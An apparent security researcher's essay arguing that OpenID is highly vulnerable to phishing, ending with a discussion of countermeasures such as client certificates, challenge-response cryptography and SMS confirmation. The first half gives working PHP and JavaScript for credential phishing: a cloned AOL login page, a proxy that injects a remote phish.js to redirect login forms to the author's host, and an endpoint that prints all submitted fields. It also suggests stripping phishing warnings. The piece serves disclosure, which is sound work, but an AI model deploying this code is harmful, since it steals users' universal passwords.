Note: www.marcoslot.net is currently undergoing changes, some examples
may will not work.
OpenID is a web-based, distributed authentication protocol set to become a standard way of signing in to websites. OpenID enables you to keep control over your own identity by separating identity 'providers' and 'consumers'. You register your 'identity' or 'account' at a single OpenID provider and then you have instant access to a vast array of service providers that are OpenID consumers. However, OpenID is also highly susceptible to phishing attacks in the way it is currently used. We will demonstrate how to do a very simple phishing attack that already works for most OpenID providers. We will also give some possible (non-)solutions to the problem.
Phishing is a very blunt form of what is known in security as a man-in-the-middle attack. The general idea is to impersonate a website with the intent to steal important information from users. Phishing sites are distinguishable only by the hostname in the URL. For years life has been tough for these hard working phishermen as users consistently refused to swim into their nets for no apparent reason. Meanwhile redirecting users away from the amazon.com into the phisher's nets was not an easy task. Occasionally the phishermen got lucky, but the reward was often no bigger than access to a few forum accounts.
Fortunately for the phishermen there's a new phish in town and it is big and easy to catch. A single OpenID may be used for hundreds of websites. This alone makes OpenID more vulnerable as losing one password means you've lost them all. Moreover, each of those OpenID enabled websites is able to trick the user into giving away her password.
This document is targeted at OpenID providers and OpenID users. We condemn phishing of any form and are only interested in making providers realize how easy it is to do phishing attacks on OpenID accounts unless proper counter-measures are taken.
Requirements for using the code samples:
To phish for OpenID passwords we first need to become an OpenID Consumer.
Level 1 phishing is the impersonation of a single, static, and well-known login page. Although this is a rather dull form of phishing, it is actually the form most developers think of and try to protect against.
We will choose biggest OpenID provider available: AOL. We expect most of our future OpenID visitors will come from AOL. Fortunately for us AOL has a conveniently simple Login procedure. We are going to filter out all AOL users an display them a hijacked login form. The other users will go through their normal login procedure.
If you enter your AOL OpenID in the form below you will be directed to your well-known AOL login form, but chances are it's not quite the login form you think it is. If you do not have an AOL account you can use openid.aol.com/johnsmith (sorry John).
Start by saving the AOL login page as aol.php and the stylesheet as aol.css (AOL prevents hotlinking the stylesheet). Change the form to point to your yet to be made phishing end-point (net). You might want to make other improvements such as setting the Screen Name using PHP and fixing some styling. I've quickly put this together for demonstrational purposes.
The code we used to create this phishing attack is directly taken from
the examples provided with PHP OpenID. After copying the php files in
PHP-openid-1.2.1/examples/consumer/ to your webhost
Open try_auth.php and look for this snippet:
if(empty($_GET['openid_url'])) {
$error = "Expected an OpenID URL.";
include 'index.php';
exit(0);
}
Replace it with the following:
if(empty($_GET['openid_url'])) {
$error = "Expected an OpenID URL.";
include 'index.php';
exit(0);
}
if(strstr($_GET['openid_url'], "openid.aol.com")) {
include 'aol.php';
exit(0);
}
Note that you can also add other well-known openid providers here.
Finally you need an end-point for the login procedure. We've called it
phish.php. See for yourself what to do with this, the innocent code we
use is displayed below.
<p>
We have extracted the following information:
</p>
<pre>
<?php
foreach($_GET as $key => $value) {
echo "$key = $value\n";
}
foreach($_POST as $key => $value) {
echo "$key = $value\n";
}
?>
</pre>
That is all. Users are now able to log in at index.php and you can
sit back and wait for unsuspecting AOL users give away their passwords.
One of the nice things about OpenID is that every user can have her own login procedure. Sadly this doesn't provide one bit of phishing protection as users tell exactly which webpage needs to be impersonated. When a user enters her identity we'll download her login form from her OpenID provider, modify it, display it to the user, and wait for the user to enter her password.
If you enter your OpenID in the form below you will be directed to your well-known login form, but chances are it's not quite the login form you think it is. The current attack is very simple, if your provider is not susceptible you can use one we used for testing: marcoslot.myopenid.com
The code we used to create this phishing attack is directly taken from
the examples provided with PHP OpenID. After copying the php files in
PHP-openid-1.2.1/examples/consumer/ to your webhost
open try_auth.php and replace the last line:
header("Location: ".$redirect_url);
with
//header("Location: ".$redirect_url);
$phishjs = "http://openid.marcoslot.net/phish.js"; // change to your host
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $redirect_url);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie.txt');
$data = curl_exec($ch);
curl_close($ch);
$data = preg_replace("/<\/body>/i", "<script type=\"text/javascript\" src=\"$phishjs\"></script></body>", $data);
echo $data;
The preg_replace step injects a yet to be made javascript file
into the webpage
to modify its behaviour. You should change the value of $phishjs
to point to your webhost.
Some extensions are possible here, such as impersonating providers that use
HTTP Authentication (e.g.
phpMyID).
phish.js looks as follows:
alert("Warning: This login form is compromised! \nDo not enter your real password!");
var forms = document.getElementsByTagName("form");
for(i = 0; i < forms.length; i++) {
forms[i].setAttribute("method", "get");
forms[i].setAttribute("action", "http://openid.marcoslot.net/phish.php");
}
Naturally the alert box can be dropped. The action attribute should be
pointed towards your evil password stealing script. These 5 lines of code
are enough for most OpenID providers, but extensions are possible here.
For example taking all textbox values and sending them using AJAX, or
removing phishing warnings.
Finally you need an end-point for the login procedure. We reuse phish.php from level 1. You are now done and ready to sit back and see how easily users will give away their universal password.
Level 1 and 2 are simple and effective, but providers can still protect against specific attacks and users can (but won't) install phishing protection plugins. Lets go one step further.
At Level 3 we simply cut the provider out of the game. For a moment, consider how users think of authentication. In 99.99% of all cases they will think of entering a username and a password. Then how will grandma respond to the following little box once you have given her OpenID?
You won't fall for it. You only came here because you know what phishing is and you probably know how OpenID authentication works. However the average Joe, given a good lure, is likely to fall right into this horrible trap against which can resist any form of phishing protection.
We've now seen how vulnerable OpenID is to phishing, now how to counter it?
Now that's one topic security experts can agree on. Two famous quotes:
The user's going to pick dancing pigs over security every time
- Bruce Schneier
Every system, no matter how secure and well-designed, will be broken by
some idiot user
- James Gaskin
Would your grandma notice http://f5888d0b1.07e1c41c97a.be/a15 is not her real openid provider?
Stop. Don't even think about answering. This question shouldn't even come up when speaking of security. Don't rely on users to provide themselves with security. A user will never hesitate to write her all-important password on a piece of paper, fold a plane, toss it out the window, and blame on the IT guy.
Some people are suggesting identifying users by their IP address. This obviously does not work for dynamic IP addresses and public computers. Especially the latter is an essential requirement for OpenID. The days of services being used from a single machine are long gone.
Cookies can be used to place an identification token on the user's computer. OpenID providers would not show a login form when authenticating, but rather check for the presence of a cookie. Without getting into whether cookies themselves are actually secure using cookies to do the authentication raises more questions than it answers. When is the cookie placed? What does the user have to do to place the cookie? What happens if the user tries to authenticate while the cookie has not yet been placed? What if the user has disabled cookies? What if the user is using a public computer and the cookie remains behind? How do we remove the cookie? Do we need to educate the user to remove the cookie?
A remarkable little invention is to let the user set a personal icon (some websites use monsters). How would the provider know which icon to use? Well, either from a database, in which case it would not be effective against level 2 phishing, or from a cookie (See cookies).
Some OpenID providers do not present the user with a login directly. Instead they ask of her to make a bookmark and click on it every time she wants to log in or to type the provider's address. This ensures that the user goes to the real provider. Although this throws up a little barrier it does not protect against level 3 phishing and at level 1 it is susceptible to what I would call a dancing pigs attack. As Bruce Schneier says "The user's going to pick dancing pigs over security every time". If you are going to impersonate idproxy at level 1, you might as well inform your user of the latest technological developments which led to the elimination of the Bookmarking step. Overjoyed with this new convenience users will quickly enter their password. Bookmark login is a form of 'Educating users' in disguise and therefore bound to fail.
One solution actually does exist to OpenID phishing. It's a feature of SSL that is rarely used in web communication: client side certificates. A user can generate a private-public key pair and have a Certification Authority issue an ownership certificate. Using the private key a user can proove she is the holder of a certificate. However there currently is no practical mechanism to use client certificates on any other computer than our own, which makes it unsuitable as a solution.
Taking your SSL key pair along is not only impractical, but also very dangerous. First you would have to install and uninstall the private-public key pair in any browser you would like to use, provided that this is allowed by the system administrator. Then you would need to absolutely sure that your private key is not stored anywhere when you're done using it (practically impossible).
Furthermore, regardless of which computer you are using, any SSL enabled website will be able to read your certificate which probably contains your e-mail address or even your real address. Hardly a desirable feature on the internet.
There are plenty of non-solutions available. Basically all come down to educating users or moving the authentication form, they all miss the fundamental flaw...
Our Level 3 attack actually demonstrates a very important thing. There is only one way of solving OpenID phishing: Drop password authentication. Passwords no longer work in a distributed authentication system. Passwords are a shared secret between two parties, the service provider and the service consumer. With only 2 parties involved in the system your password could 'never' go the wrong way (lets not get into real network security issues). With OpenID there may be thousands of parties involved and you simply can't afford to send your shared secret in the open. Anything a user sends should be completely useless to the evil OpenID consumer without having the secret information of the provider.
To do authentication having a secret that only you could have is of vital importance. As a consequence, so is keeping it secret. Passwords should not be sent, but used only to determine what to send. In short, we need cryptography.
Web security has more or less become an oxymoron, but lets try really hard to remember how authentication used to be done. Alice and Bob shared a key. Alice would send a challenge encrypted with the key to Bob. Bob would decrypt the challenge, do some computation on it, create a new challenge, encrypt both using the shared key and send it back to Alice. Alice verifies Bob's response, does some computation on his challenge, encrypts it using the shared key and sends it back to Bob. Bob verifies the response and they now both know that they are talking to the right person and not some man-in-the-middle (phisherman) called Eve. It is not trivial to get this right using shared keys, but since the arrival of public/private key pairs it has become fairly simple.
The point of challenges is that obtaining a single message doesn't help Eve at all. Only the secret would help her, but that is never put on wire.
In practice all of this means the web user will have to generate and respond to challenges and therefore will have to use some separate authentication mechanism. We can not rely on the webpage to compute challenges as the webpage may easily have been bugged. This could be done with a browser-toolbar or built-in, a program on USB stick, or a part of the Operating System such as Cardspace. Users will only be tempted into this way of authentication when such tools have become mainstream. Firefox 3 and Windows Cardspace are about to give a boost, but at this moment we're simply not ready yet.
The problem with web pages is that the server is in control of the user interface. This enables attackers to disguise as a trustworthy party and obtain valuable information from the user. For this reason it is generally unsafe to enter such information on a webpage without using out-of-band encryption mechanisms. An alternative to encryption is to confirm an authentication attempt with the user through some other form of communication. A succesful example is sending SMS messages to the user. A more questionable example is XMPP verification. Although I agree that XMPP resolves the web-based phishing issue Jabber does not guarantee strong authentication like SMS does. Much like HTTP it relies on the security of DNS (none), suffers from the administrative problems (e.g. what if your Jabber domain changes owner?) and many servers allow anonymous authentication (which the user may not even be aware of!). Overall I would recommend against the use of XMPP as an authentication solution, but favour it over passwords since phishing is of more critical concern. An added benefit of XMPP is that large, presumably reliable identity providers such as Yahoo, AOL and Google can easily integrate it into their existing products.
